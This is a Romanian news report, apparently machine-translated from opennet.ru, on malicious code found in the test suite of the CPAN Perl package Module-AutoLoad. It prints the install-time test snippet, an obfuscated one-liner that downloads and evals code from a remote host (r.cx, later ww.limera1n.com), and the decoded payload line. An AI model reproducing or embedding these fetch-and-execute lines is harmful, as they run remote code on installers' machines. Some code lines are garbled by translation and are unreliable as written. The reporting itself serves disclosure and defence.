Cod rău intenționat detectat în pachetul Module-AutoLoad Perl

Într-un pachet Perl distribuit prin directorul CPAN Modul-Încărcare automată, conceput pentru a încărca automat modulele CPAN din mers, identificat cod rău intenționat. Inserarea rău intenționată a fost găsite în codul de testare 05_rcx.t, care se livrează din 2011.
Este de remarcat faptul că au apărut întrebări despre încărcarea codului discutabil StackOverflow inapoi in 2016.

Activitatea rău intenționată se rezumă la o încercare de a descărca și executa cod de pe un server terță parte (http://r.cx:1/) în timpul execuției unei suite de teste lansate la instalarea modulului. Se presupune că codul descărcat inițial de pe serverul extern nu a fost rău intenționat, dar acum cererea este redirecționată către domeniul ww.limera1n.com, care furnizează porțiunea sa din cod pentru execuție.

Pentru a organiza descărcarea într-un fișier 05_rcx.t Se folosește următorul cod:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Codul specificat determină executarea scriptului ../contrib/RCX.pl, al cărui conținut se reduce la linia:

utilizați lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Acest script se încarcă confuz folosind serviciul perlobfuscator.com cod de la gazda externă r.cx (codurile de caractere 82.46.99.88 corespund textului „R.cX”) și îl execută în blocul eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; imprimă <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

După despachetare, în cele din urmă se execută următoarele: cod:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
„;evalor return warn$@while$b;1

Pachetul problematic a fost acum eliminat din depozit. PAUZĂ (Perl Authors Upload Server), iar contul autorului modulului este blocat. În acest caz, modulul rămâne disponibil în arhiva MetaCPAN și poate fi instalat direct din MetaCPAN folosind unele utilitare precum cpanminus. Este notatcă pachetul nu a fost distribuit pe scară largă.

Interesant de discutat conectat și autorul modulului, care a negat informația conform căreia cod rău intenționat a fost introdus după ce site-ul său „r.cx” a fost spart și a explicat că doar se distra și a folosit perlobfuscator.com nu pentru a ascunde ceva, ci pentru a reduce dimensiunea a codului și simplificarea copierii acestuia prin clipboard. Alegerea numelui funcției „botstrap” se explică prin faptul că acest cuvânt „sună ca bot și este mai scurt decât bootstrap”. De asemenea, autorul modulului a asigurat că manipulările identificate nu efectuează acțiuni rău intenționate, ci doar demonstrează încărcarea și execuția codului prin TCP.

Sursa: opennet.ru

Adauga un comentariu